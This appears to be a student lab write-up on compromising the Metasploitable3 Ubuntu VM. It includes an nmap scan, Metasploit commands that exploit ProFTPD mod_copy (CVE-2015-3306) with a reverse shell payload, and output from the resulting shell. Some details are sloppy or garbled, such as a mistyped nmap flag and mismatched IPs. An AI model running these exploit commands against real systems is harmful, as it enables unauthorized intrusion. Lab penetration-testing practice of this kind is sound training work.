Challenge Information

• VM Setup: Vulnerable VM is imported to the VirtualBox.

• Attacker Machine: Kali Linux 2025

o IP Address:10.205.185.43

• Victim Machine: Ubuntu 14.04

o IP Address: 10.205.185.191

Objective: The objective is to run the OVA file in VirtualBox and perform the vulnerability assessment and document each step in the report.

TOOLS

- Nmap used to scan the target machine.
- Metasploit used to exploit and install payload.
- **Chrome** to analyse the web directory.

Environment Setup

- 1. Import the OVA file to VirtualBox.
- 2. Set the network to *Host-Only Network*.
- 3. Ensure that both the attacker and victim machine are in the same network.

Enumeration and Discovery

Service scan using nmap

```
nmap -sV -0 10.205.185.191
```

Scan analysis:

- FTP (ProFTPD 1.3.5) Vulnerable to mod_copy RCE.
- HTTP (Apache 2.4.7) Directory listing is enabled.
- Samba (4.3.11) MITM risk.
- MySQL Externally accessible (can brute-force credentials).

Web Directory Listing

The purpose was to identify which files can be accessed via HTTP.

- Visited https://10.205.185.191 in browser.
- The image has the shared below.

Exploitation

First, research was done on the type of exploit to use.

 ProFTPD mod_copy vulnerability (CVE-2015-3306) allows unauthorized file copy on the server.

Metasploit commands used:

```
msfconsole
use exploit/unix/ftp/proftpd_modcopy_exec
set RHOST 10.205.185.191
set SITEPATH /var/www/html
set payload cmd/unix/reverse_perl
set LHOST 192.168.56.1
set LPORT 4444
```

Outcome:

A PHP payload wAdLCeB.php was uploaded and executed, resulting in a reverse shell.

```
| Second Actions Edit View Help | Second | Secon
```

Post-Exploitation Findings

- Had access to sensitive directories.
- Found Drupal, phpMyAdmin, Payroll, and Chat application.
- MySQL is vulnerable if weak credentials are used.
- The chat could be accessed just by typing a random name like "abin".

Conclusion

This analysis proved that the target machine contains multiple critical vulnerabilities, the most dangerous being the **ProFTPD mod_copy RCE**, which enables full remote access.

Screenshot:



```
ls
NEdE6D.php
chat
drupal
payroll_app.php
phpmyadmin
pwd
/var/www/html
whoami
www-data
uname -a
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
```

Exit Chat Welcome, tony (10:30 PM) Papa Smurf: I am the baddest dude on this planet, you cant _ break me! (10:31 PM) Papa Smurf: Hack the planet! (10:32 PM) Papa Smurf: This is fun (10:33 PM) Papa Smurf: Oh, have I ever mentioned? I have ace of clubs. (10:34 PM) Papa Smurf: Breaking News: How to check if your child is a computer hacker (10:35 PM) Papa Smurf: Hint: Google around and you might find answers on how to break Metasploitable3 (10:36 PM) Papa Smurf: I am the baddest dude on this planet, you cant break me! (10:37 PM) Papa Smurf: I am tired (10:38 PM) Papa Smurf: Hint: Metasploitable3 is an open source vulnerable network. Check out the repo on Github. (10:39 PM) Papa Smurf: Kiai!!!!!! (10:40 PM) Papa Smurf: How it feels when you manage to discover how to exploit a custom vuln on Metasploitable3: Dramatic Chipmunk (10:41 PM) Papa Smurf: I am on a seafood diet. I see food, and I eat it (7:49 PM) tony: hello Send

